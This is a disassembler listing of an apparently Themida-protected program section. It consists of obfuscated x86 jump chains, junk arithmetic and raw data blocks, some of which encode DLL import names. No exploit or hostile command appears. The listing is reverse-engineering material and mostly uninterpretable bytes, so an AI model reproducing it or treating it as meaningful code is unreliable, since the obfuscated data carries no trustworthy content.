		dd 0EB815AECh, 0F0A40C0Ch, 24348153h, 55257FA8h, 251EE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570536:				; CODE XREF: Themida_:005666EEj
		mov	esi, edx
		push	dword ptr [esp]
		jmp	loc_55E611
; ---------------------------------------------------------------------------


loc_570540:				; CODE XREF: Themida_:00564DB7j
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_564CF4
; ---------------------------------------------------------------------------
		dd 7140062Dh, 5D8017Ch,	7C714006h, 462FB951h, 0E9811E30h
		dd 4E297982h, 8103E9C1h, 63B304E9h, 8BC829D1h, 0C483240Ch
		dd 15C86804h, 1C890000h, 2F0FE924h, 0E3C0FFFFh,	2ECB8004h
		dd 0E96DC380h, 0FFFF57E7h, 24148B66h, 0E9E38953h, 0FFFF507Bh
		dd 4C681h, 34870000h, 0E8E95C24h, 2CFFFFAFh, 0A9B353B9h
		dd 0E903E3C0h, 0FFFFA8E4h
; ---------------------------------------------------------------------------


loc_5705B8:				; CODE XREF: Themida_:005685B5j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_56C1F4
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0DB28E924h, 0E95EFFFFh, 0FFFEEFD4h, 0E9240489h, 0FFFEBEECh
		dd 4B8h, 8BC18900h, 0C4832404h,	0B3E95504h, 54FFFF47h
		dd 81241C8Bh, 4C4h, 4EC8300h, 0BD242C89h, 4, 34FFEB01h
		dd 89505D24h, 405E0h, 0E9550000h, 0FFFED8FEh, 34EEE81h
		dd 0C6817FCFh, 2A3E14AFh, 0DC685755h, 8B638538h, 0C483243Ch
		dd 739A6804h, 0C890000h, 4EC8324h, 0FF243C89h, 81592434h
		dd 4C4h, 969BE900h, 5251FFFFh, 1BAh, 5AD18900h,	6859CD29h
		dd 6C9Dh, 0FEC7BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570669:				; CODE XREF: Themida_:0055DD0Cj
		or	ebp, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_560A3A
; ---------------------------------------------------------------------------
aIHP		db '┴,$hфp',0
		align 2
		dw 2489h
		dd 24048324h, 242C8B04h, 0FF7FD6E9h, 4EC81FFh, 89000000h
		dd 93E92414h, 0BBFFFFBDh, 6C211825h, 0FF326AE9h, 8BD029FFh
		dd 0C4812414h, 4, 0FF1C88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5706BD:				; CODE XREF: Themida_:0056DA59j
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_563BE5
; ---------------------------------------------------------------------------


loc_5706D8:				; CODE XREF: Themida_:00568C52j
		sub	ecx, 7040BEBh
		push	ecx
		pop	edx
		mov	ecx, [esp]
		push	7DD3h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55C95C
; ---------------------------------------------------------------------------


loc_5706FE:				; CODE XREF: Themida_:0056A214j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	dl, 6Dh
		add	dl, 0F9h
		and	al, dl
		mov	edx, [esp]
		jmp	loc_55D801
; ---------------------------------------------------------------------------


loc_570715:				; CODE XREF: Themida_:00568CF4j
		add	edi, edx
		jmp	loc_562CBA
; ---------------------------------------------------------------------------


loc_57071C:				; CODE XREF: Themida_:0055E623j
		mov	ebp, esp
		jmp	loc_56375A
; ---------------------------------------------------------------------------
		db 53h
		dd 0BE4278BBh, 0BC88BA36h, 62E96039h
		db 21h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570733:				; CODE XREF: Themida_:005689BAj
		sub	edi, 290E2464h
		jmp	loc_569A3D
; ---------------------------------------------------------------------------


loc_57073E:				; CODE XREF: Themida_:0056C9BFj
		add	ecx, 649B7676h
		push	edx
		mov	edx, 504D6384h
		or	ecx, edx
		pop	edx
		not	ecx
		not	ecx
		jmp	loc_55F2CE
; ---------------------------------------------------------------------------
		dw 0DD01h
		dd 5DEB895Bh, 0FF34F6E9h, 0B75366FFh, 66F800E1h, 51241C8Bh
		dd 0FF06F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570771:				; CODE XREF: Themida_:0056AAC5j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_566B37
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9DE88C3h, 0FFFF1F3Bh, 724BB53h, 81432222h,	79470AE3h
		dd 9FBA524Ah, 0E93FDB00h, 0FFFF4B2Ch, 7283E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5707A6:				; CODE XREF: Themida_:0056F14Cj
		pop	ecx
		mov	edx, ebx
		pop	ebx
		pop	esi
		mov	ecx, [esp]
		jmp	loc_569A82
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0BD12E932h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5707BA:				; CODE XREF: Themida_:005698ABj
		xor	eax, 287731FFh
		or	ebp, eax
		pop	eax
		inc	ebp
		push	ecx
		mov	ecx, 0E80C6638h
		jmp	loc_56E658
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0FAD2E924h, 8358FFFFh, 15E904ECh
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5707DF:				; CODE XREF: Themida_:00569474j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	372Ch
		jmp	loc_56E32B
; ---------------------------------------------------------------------------
		dd 0F75BDA89h, 0E94A4ADAh, 0FFFF6EC2h, 0DC747AB8h, 0DBC6816Fh
		dd 2970286Fh, 0AA2BE9C6h, 1487FFFFh, 94E95C24h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570817:				; CODE XREF: Themida_:00561B8Cj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_56EB54
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 8B240C33h, 4892424h,	0BC8EE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57083E:				; CODE XREF: Themida_:0055F900j
		add	ecx, 6AAA4338h
		sub	ecx, ebx
		sub	ecx, 6AAA4338h
		mov	ebx, [esp]
		jmp	loc_568C4C
; ---------------------------------------------------------------------------
		dd 717028B8h, 1E1AE954h, 0BA52FFFFh, 6720682h, 89D68956h
		dd 0F75A5EF1h, 0E98149D1h, 4D535804h, 5D80BF57h, 0C7810189h
		dd 62AB58E6h, 0D61DEF81h, 0F931D3E7h, 43EB815Fh, 158D02Dh
		dd 0FE1FE9CBh, 15BFFFEh, 0EC835FF9h, 241C8904h,	2BBh, 4EC8100h
		dd 89000000h, 0ABA2414h, 811B0673h, 4D42AFC2h, 8E900h
		dd 0E7800000h, 0D3B2E992h, 0C281FFFEh, 5223AB1Dh, 815AD101h
		dd 0B91CA6C1h, 81D9016Ch, 0B91CA6E9h, 0D6BE566Ch, 296D7760h
		dd 1C8B5EF1h, 4C48324h,	0FF3BCAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5708F1:				; CODE XREF: Themida_:0056BBF1j
		sub	eax, 478A61ECh
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_570491
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8B24048Fh, 8B662424h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5627EA
; ---------------------------------------------------------------------------
		dd 23ACEE81h, 0C6814310h, 596BB96Bh, 8108EEC1h,	0B113DDC6h
		dd 0E9DEF74Eh, 0FFFFDAA9h
; ---------------------------------------------------------------------------


loc_570938:				; CODE XREF: Themida_:0056A85Ej
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		push	edi
		push	8847CF2h
		pop	edi
		push	1D6Bh
		mov	[esp], edx
		mov	edx, 0E0A81001h
		jmp	loc_5689AC
; ---------------------------------------------------------------------------


loc_570961:				; CODE XREF: Themida_:0056F935j
		add	ebx, esi
		jmp	loc_56DAE5
; ---------------------------------------------------------------------------


loc_570968:				; CODE XREF: Themida_:0056AB8Cj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_562787
; ---------------------------------------------------------------------------


loc_570976:				; CODE XREF: Themida_:005612B1j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_56A1CE
; ---------------------------------------------------------------------------
		db 66h
		dd 348BF289h, 4C48124h,	66000000h, 0D0296658h, 24148B66h
		dd 815A5452h, 4ECh, 0BC40E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5709AA:				; CODE XREF: Themida_:005617D2j
		mov	esp, [esp]
		push	82Fh
		mov	[esp], eax
		push	esi
		push	45F4h
		mov	[esp], ebp
		jmp	loc_56DD3B
; ---------------------------------------------------------------------------


loc_5709C3:				; CODE XREF: Themida_:0055E540j
		and	edi, 197073ACh
		xor	edi, 376517Eh
		add	edi, 0ECE9CD2Ah
		jmp	loc_56FC39
; ---------------------------------------------------------------------------


loc_5709DA:				; CODE XREF: Themida_:0056B4B9j
		xor	eax, ecx
		push	eax
		push	1627h
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		jmp	loc_56C4DF
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 0D8C3E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5709F6:				; CODE XREF: Themida_:0055DFA9j
		push	4C87h
		jmp	loc_55FF04
; ---------------------------------------------------------------------------


loc_570A00:				; CODE XREF: Themida_:00565887j
		xor	bl, 4Dh
		mov	dl, bl
		pop	ebx
		jmp	loc_56C806
; ---------------------------------------------------------------------------
		db 89h
		dd 0D9BB241Ch, 1283D26h, 0B9515BDAh, 0CEC3F40h,	8141D1F7h
		dd 792726C9h, 0FA89E939h, 0EEC1FFFEh, 10BB5304h, 3107023Dh
		dd 0CE815BDEh, 5B1B69D0h, 1D90EE81h, 0F681548Bh, 45923D6Dh
		dd 0A53CD32Dh, 49D8E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570A52:				; CODE XREF: Themida_:00570048j
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_570A65:				; CODE XREF: Themida_:0055D814j
		mov	[esp], eax
		sub	dword ptr [esp], 29313A1Ch
		push	dword ptr [esp]
		pop	ebx
		push	3D39h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		jmp	loc_56CA65
; ---------------------------------------------------------------------------
		dw 8166h
		dd 6633ABC2h, 0FACEC281h, 5AD13166h, 0E9C88966h, 0FFFF1F87h
		dd 56D830ACh, 11E9E689h, 88000005h, 505B5AF1h, 0FFD91FE9h
		dd 545558FFh, 15AF685Dh, 0EAE90000h
		db 0FCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570AC7:				; CODE XREF: Themida_:0056DCF4j
		add	ebp, 0FFFFFFFFh
		not	ebp
		push	esi
		mov	esi, 102B4B11h
		not	esi
		sub	esi, 7B318C2Bh
		sub	ebp, 21D95094h
		add	ebp, esi
		jmp	loc_56A78B
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFDA14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570AED:				; CODE XREF: Themida_:00566F09j
		pop	ecx
		add	ecx, 39FD290Ch
		jmp	loc_56F14A
; ---------------------------------------------------------------------------


loc_570AF9:				; CODE XREF: Themida_:0056D9C1j
		not	ebp
		xchg	ebp, ecx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5638E8
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0DA7BA52h, 0E94A64FDh, 0FFFEC01Eh
; ---------------------------------------------------------------------------


loc_570B18:				; CODE XREF: Themida_:00564D09j
		add	ecx, 4
		push	edx
		push	ebp
		mov	ebp, 1BF2019Ah
		push	ebp
		xor	dword ptr [esp], 31321199h
		pop	edx
		jmp	loc_56501E
; ---------------------------------------------------------------------------


loc_570B33:				; CODE XREF: Themida_:0055EA21j
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	esi, 49A13164h
		add	esi, 0FFFFFFFFh
		jmp	loc_56F92F
; ---------------------------------------------------------------------------


loc_570B4C:				; CODE XREF: Themida_:0055D2B1j
		mov	esp, [esp]
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55D288
; ---------------------------------------------------------------------------


loc_570B70:				; CODE XREF: Themida_:00568D3Ej
		push	esi
		mov	esi, 58BD63ACh
		xchg	ebx, esi
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, esi
		xor	esi, 6B0790Fh
		jmp	loc_55D1EB
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 0D1000000h, 79E94FEFh, 59FFFFC6h, 5DA7FB2Dh
		dd 348B50A5h, 48ACE924h, 0E200FFFFh, 5865EA80h,	0D028DC2Ch
		dd 0FFB266E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570BBD:				; CODE XREF: Themida_:0055C5B5j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_568980
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 80808585h, 148BD689h, 14C6824h, 14890000h, 505A5424h
		dd 955EB5B8h, 4E8C16Eh,	0A02DD0F7h, 0C12D5433h,	632508E8h
		dd 35200C5Ah, 84266h, 8358C201h, 2BE904C2h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570C0F:				; CODE XREF: Themida_:0056F9DCj
		mov	esp, [esp]
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_570C17:				; CODE XREF: Themida_:0055F917j
		push	36AAh
		jmp	loc_55DC2A
; ---------------------------------------------------------------------------
		db 0B2h, 5Eh, 0E9h
		dd 0FFFEC3F9h, 0E9E8015Dh, 0FFFEBF5Ah
; ---------------------------------------------------------------------------


loc_570C30:				; CODE XREF: Themida_:00565651j
		pop	ebp
		jmp	loc_5688D6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54572404h, 0E9243C8Bh, 0FFFF0BADh
; ---------------------------------------------------------------------------


loc_570C44:				; CODE XREF: Themida_:005651B1j
		mov	[esp], ebp
		mov	ebp, 0C208FEB3h
		add	ecx, ebp
		jmp	loc_56B443
; ---------------------------------------------------------------------------


loc_570C53:				; CODE XREF: Themida_:0055FC11j
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esi
		push	112CB5h
		pop	esi
		jmp	loc_560C61
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9F287D6h, 0FFFF8B78h, 4B8h, 0E9C10100h, 0FFFF73C9h
		dd 5C240C87h, 0FF527EE9h, 36BE56FFh, 2D4D3A53h,	26E8229Ch
		dd 9C05F029h, 5E26E822h, 5CA2D5Fh, 51571942h, 789BB850h
		dd 0D0F75993h, 952D4040h, 68026E55h, 7D5Bh, 0FECB1FE9h
		dd 4C483FFh, 6F7E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570CC6:				; CODE XREF: Themida_:00567F80j
		add	esp, 4
		jmp	loc_5668A6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0B3682404h, 89000054h, 0E389241Ch, 0BA4EE956h, 0E95AFFFEh
		dd 0FFFF5A0Bh
; ---------------------------------------------------------------------------


loc_570CE8:				; CODE XREF: Themida_:0055F2A9j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 3CA67A59h
		jmp	loc_560264
; ---------------------------------------------------------------------------


loc_570CFC:				; CODE XREF: Themida_:00565724j
		pop	esi
		add	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shl	eax, cl
		push	5774h
		mov	[esp], ebx
		mov	ebx, 1
		push	edx
		jmp	loc_56EC53
; ---------------------------------------------------------------------------


loc_570D29:				; CODE XREF: Themida_:0055F4C5j
		sub	esp, 4
		mov	[esp], ebx
		xchg	esi, [esp]
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 0DD1C9C5Ch
		mov	esi, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ebx, esi
		pop	esi
		sub	edx, ebx
		pop	ebx
		xor	edx, 0B558221Dh
		mov	ebp, edx
		pop	edx
		xor	eax, ebp
		jmp	loc_56917B
; ---------------------------------------------------------------------------
		db 64h
		dd 32E9028Fh, 50FFFFA5h, 0FF53BCE9h, 8BE989FFh,	0AEE9242Ch
		dd 59FFFFE5h, 5C24048Fh, 0FF9E1EE9h, 0E9FE89FFh, 0FFFFBB9Eh
		dd 0FEB35366h, 5B66DA30h, 42E9D700h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570DCF:				; CODE XREF: Themida_:005616B3j
		mov	[esp], ebx
		push	80h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		push	61D0h
		jmp	loc_567233
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0E1E90000h, 81FFFEF7h, 331F33C5h, 0ED815850h
		dd 135A631Eh, 3BA8C581h, 0C5014899h, 0FF8488E9h, 0BE5643FFh
		dd 52CC3E72h, 0FF3634E9h, 5FFB89FFh, 8102E3C1h,	0F838DDC3h
		dd 0DDA8E920h, 0E781FFFEh, 37E22C83h, 8107EFC1h, 0BB3C01C7h
		dd 0A7EE81FFh, 0E92E5321h, 0FFFF76B1h, 81240C89h, 4ECh
		dd 241C8900h, 0A17F3868h, 241C8B68h, 0E9E78957h, 0FFFF0ABBh
; ---------------------------------------------------------------------------


loc_570E6C:				; CODE XREF: Themida_:005681B3j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_565168
; ---------------------------------------------------------------------------
aPwO		db 'PW©лoк',0
		db 0B8h
		dd 112F4EC9h, 0FEF6CBE9h, 4C381FFh, 83000000h, 1C8704C3h
		dd 3CE95C24h, 53FFFF09h, 42474FFh, 83241C8Bh, 48F04C4h
		dd 0C895C24h, 74026824h, 3C890000h, 4BF24h, 8EE90000h
		dd 89FFFFF1h, 0E954240Ch, 0FFFFB253h, 8102EAC1h, 294E36C2h
		dd 4E2C114h, 0FF2A09E9h, 62D268FFh, 79E90000h, 83FFFEBFh
		dd 348904ECh, 0E2BCE924h, 0EEBDFFFEh, 813DFC6Ah, 0F87079F5h
		dd 0BD55501Ch, 4FB12BEEh, 355DE889h, 7D7D0D5Ch,	10E9C531h
		dd 64FFFF65h, 2B60F66h,	8904EC83h, 0E168243Ch, 89000050h
		dd 4812424h, 424h, 0C7815F00h, 4, 56515752h, 9814B8BEh
		dd 0D636E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570F3E:				; CODE XREF: Themida_:0056818Bj
		mov	[esp], ebx
		jmp	loc_565742
; ---------------------------------------------------------------------------
		dw 295Ah
		dd 0E9535DEAh, 0FFFF456Eh, 83243C8Bh, 0E95304C4h, 0FFFFD360h
; ---------------------------------------------------------------------------


loc_570F5C:				; CODE XREF: Themida_:005697B1j
		inc	edx
		push	ebx
		jmp	loc_564F8A
; ---------------------------------------------------------------------------
		db 81h
		dd 25005FEDh, 3EDC14Dh,	0FED698E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570F71:				; CODE XREF: Themida_:0056C077j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	7F29h
		jmp	loc_569A9A
; ---------------------------------------------------------------------------
		dd 0F6B45066h, 5866E300h, 7168C328h, 89000068h,	0E950240Ch
		dd 0FFFEE107h, 4E981h, 0C870000h, 478BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570FAE:				; CODE XREF: Themida_:00561EB9j
		sub	[esp], esi
		pop	esi
		shr	esi, 2
		add	esi, 3BD06DC8h
		jmp	loc_56E2FA
; ---------------------------------------------------------------------------
		dd 4C681h, 61E90000h, 89FFFF36h, 5DBD242Ch, 0E95F8E1Ah
		dd 0FFFEB89Ch, 0E9E68956h, 0FFFFC32Fh, 8324048Bh, 0D56804C4h
		dd 8900006Eh, 9E68243Ch, 89000024h, 0A3B9240Ch,	523B6323h
		dd 0FF469AE9h, 244429FFh, 246C8104h, 0A5299D04h, 8F68521Bh
		dd 8900005Ah, 8868243Ch, 5F144D5Eh, 0C781DFF7h,	2EBA5DB1h
		dd 0E9DDEF81h, 0FA89BD66h, 2444815Fh, 0E34A8208h, 24542940h
		dd 82BF5708h, 0E940E34Ah, 0FFFF81A1h, 0EE81C601h, 32316E4Ch
		dd 0FF771AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571051:				; CODE XREF: Themida_:0056ED65j
		and	esi, 7D4978CFh
		and	esi, 105330FCh
		shl	esi, 1
		sub	esi, 20826104h
		add	ecx, esi
		jmp	loc_5691AF
; ---------------------------------------------------------------------------
		dd 3C8BFD89h, 4C48124h,	89000000h, 0DB0EE9E8h, 0C181FFFFh
		dd 80601219h, 159C889h,	3646E9C6h, 815DFFFFh, 0F83323C5h
		dd 0D7ED8117h, 81329222h, 0C77895C5h, 0FCFFE9EDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5710A6:				; CODE XREF: Themida_:005679A6j
		mov	edi, [esp]
		jmp	loc_564DD4
; ---------------------------------------------------------------------------


loc_5710AE:				; CODE XREF: Themida_:0055F969j
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF76A9E9h, 81E780FFh, 8050EF80h, 0F82824F7h, 4D8005Bh
		dd 0C8B5B94h, 4C48324h,	521BB652h, 0E950E289h, 0FFFF3972h
		dd 1C8BD901h, 4300E924h, 0F766FFFFh, 0B4E92414h, 29FFFF20h
		dd 0EA895BDDh, 56242C8Bh, 0C681E689h, 4, 4BB53h, 0DE010000h
		dd 2434875Bh, 0FFD0015Ch, 34FF2434h, 7947E924h,	0C329FFFFh
		dd 4B4AC381h, 0EB8153EDh, 195159C7h, 4184C381h,	0C3815E8Bh
		dd 738F5EB1h, 0B60F66h,	78516866h, 24048966h, 0FEB387E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571145:				; CODE XREF: Themida_:00568AC0j
		push	edi
		mov	edi, 2B3D0AE9h
		add	edi, 0FA524277h
		jmp	loc_56537B
; ---------------------------------------------------------------------------
		dw 46E9h
		dd 0CE000000h, 554CA49Eh, 33524553h, 6C642E32h,	4441006Ch
		dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh
		dd 907D700h, 11000100h,	4000200h, 4C003700h, 4 dup(0)
		dd 89EE900h, 0D7680000h, 0E906AE92h, 0FFFDEC1Ch, 0AE936C68h
		dd 0EC12E906h, 0CC68FFFDh, 0E906AE94h, 0FFFDEC08h, 0AE95F668h
		dd 0EBFEE906h, 5F68FFFDh, 0E906AE96h, 0FFFDEBF4h, 0AE977168h
		dd 0EBEAE906h, 0DF68FFFDh, 0E906AE97h, 0FFFDEBE0h, 0FA3BF31Eh
		dd 0A869A54Ah, 0FB3AF218h, 0AA6BA34Bh, 0FA3BF31Ah, 0DA317E87h
		dd 0B953E322h, 0E00CBC7Dh, 0B455E524h, 0A1F0B978h, 0E4A3BE12h
		dd 0A82403E8h, 0BE7A9ACBh, 15B407D4h, 0DAE52F43h, 6864B80Bh
		dd 85A9F63Fh, 0CFFE4BABh, 2C38A55Bh, 5182E8h, 979215AAh
		dd 5DD457D4h, 0B53BB76Eh, 0E82804C5h, 0CDA615BFh, 0D660B407h
		dd 81ADD6C5h, 0AAD86A9h, 0C8A26683h, 0B6FA81Bh,	90BCCC62h
		dd 0DD19F343h, 0EF3EB71Dh, 0B776AE5Fh, 0C62EE607h, 48F2779Ch
		dd 37A4E8D4h, 89000007h, 0DF6FAE66h, 8B3BFA32h,	0D868A965h
		dd 8535F430h, 126FAE66h, 71AD5CEBh, 2EE600B0h, 7BB35FEFh
		dd 25E10ABAh, 4FFCADE4h, 0E8E4A419h, 0BFCD4166h, 0E525E10Fh
		dd 0F92F9C4Fh, 46EF9335h, 3AD3E36Ah, 871D0184h,	44A98629h
		dd 0CCE24888h, 854122E2h, 888F3CEFh, 55E5228Ch,	48FBAA79h
		dd 0F641B014h, 0A8477559h, 8F06AC6Ch, 0CA02EE5Eh, 9F57BB0Bh
		dd 2910FC4Ch, 41AF469Ah, 89A78BF6h, 2595C200h, 63C909C5h
		dd 0F531DAEAh, 0C1F4DB1Dh, 81CDF161h, 6A2h, 0E627DF32h
		dd 0BC7DB956h, 0E726DE0Ch, 0BE7FB757h, 0E627DF0Eh, 0C625629Bh
		dd 8D7FCF0Eh, 0CC209051h, 8861D110h, 95C48D4Ch,	0E4A2F226h
		dd 94183FE8h, 3DDD0FBFh, 7AD010CCh, 0FCEDDD54h,	55B600C0h
		dd 0FFEF5999h, 5BB107C7h, 57974FBFh, 2113D3FDh,	822C6501h
		dd 0AE2AC6A2h, 0A2C0BB4Bh, 6Ah,	2383D973h, 0D144D05h, 9F16CE3Fh
		dd 0DF0FBF13h, 3FF71527h, 0A96586B6h, 35D6468h,	6DEF9336h
		dd 0C293407Ch, 57669E72h, 0EF933601h, 28EB624Eh, 30E3894Dh
		dd 2C848B83h, 76C594E5h, 0F63FA622h, 256B436Fh,	0C2C367AEh
		dd 371B0E87h, 81B854E4h, 0CB60C12Bh, 0DFEEA4DEh, 0F6400189h
		dd 15D4FAD6h, 4D8D49A5h, 5D901h, 0AD5E0B00h, 0DFFE8D77h
		dd 0CBE58DA9h, 0C6AC680Bh, 24E7A615h, 434E52Fh,	0BEE929E5h
		dd 3F4CD70Dh, 260824F6h, 0BCBA360Eh, 0E7C96E89h, 44759626h
		dd 3F37A1F7h, 7BC4EEF6h, 605A0DD0h, 0DF1E301Eh,	0C7147EBAh
		dd 0CEB25A74h, 0F349E3EBh, 7C70F512h, 215B656Ah, 9472D809h
		dd 44F6F2BCh, 921B314Bh, 0C878AB87h, 8F25E521h,	3686D706h
		dd 386CDFDAh, 85FCED75h, 3E0E87A9h, 2CE806D2h, 2292C302h
		dd 7AD010CCh, 0F72FC3F3h, 0AC688137h, 6DBB3A44h, 0D29EA268h
		dd 542h, 86477F92h, 0DC1DD936h,	87467E6Ch, 0DE1FD737h
		dd 86477F6Eh, 0A64502FBh, 0ED1FAF6Eh, 0AC40F031h, 0E801B170h
		dd 0F5A4ED2Ch, 0E4A21246h, 0F4785FE8h, 75DEEBFh, 54EF9336h
		dd 28C1F178h, 719A2CECh, 35A5FB48h, 0C6EAEF93h,	220228E8h
		dd 33851046h, 0B833EF93h, 3F44B131h, 0FFFEBD35h, 0AD5EB9FFh
		dd 6D437B6Dh, 25E10EBEh, 0F939F517h, 7B18DA53h,	0B506D5BFh
		dd 0E52F45D8h, 0ADC80925h, 60D00369h, 8D9508Ch,	8A0AF359h
		dd 1DCB4D5Ch, 0D80EA794h, 3F13EBDBh, 0DA134AFFh, 8D7DFCEBh
		dd 0C9279151h, 0C3E3CD0Dh, 0E11DF2A7h, 274367CFh, 1C174FCBh
		dd 15A4532h, 24940000h,	9A270FC7h, 5F172C4Dh, 0CB921E97h
		dd 0D4BE7A9Ah, 4315B407h, 0B41EE52Fh, 39938DC5h, 0D9CC4563h
		dd 91A015F5h, 6E38A533h, 0A013C0AAh, 0C5B54BE9h, 73AB42F2h
		dd 3C3EFFAh, 1DCEA460h,	7AAE1D4Ch, 0C7D6C56Fh, 0F65162EBh
		dd 0FFCC6184h, 0A1619D4Fh, 0A797820Bh, 0E74D8D49h, 41AA1AC9h
		dd 0A5154485h, 36068F47h, 0D3F119D5h, 148F1F0h,	418713Dh
		dd 45A80000h, 13F84889h, 44AA1ADBh, 11F94988h, 45A414D5h
		dd 0CC354889h, 559450BFh, 0ACB03E5h, 5F9E56BAh,	7C6FEEFh
		dd 78AC1F4Eh, 0C5E8E4A0h, 0EEBF6EE2h, 9336075Dh, 0F17854EFh
		dd 18BCD014h, 7D339E75h, 9BA6947h, 0E52296DAh, 0A818CBE7h
		dd 0F9498844h, 4E19D915h, 5FD60EFEh, 0AE467E6Fh, 61C200ACh
		dd 0AF145864h, 1000003h, 47F736EEh, 3B372AAh, 40F031EDh
		dd 1DAD6CA8h, 8AF736EEh, 19D53473h, 467E68D8h, 23DB3787h
		dd 7DB952E2h, 17A4F5BCh, 0E8E49FC1h, 5EA5290Eh,	7B171ADh
		dd 0C4EE2EE6h, 4BD688E4h, 0E9EF9333h, 44B1EB62h, 0FD3CEB3Fh
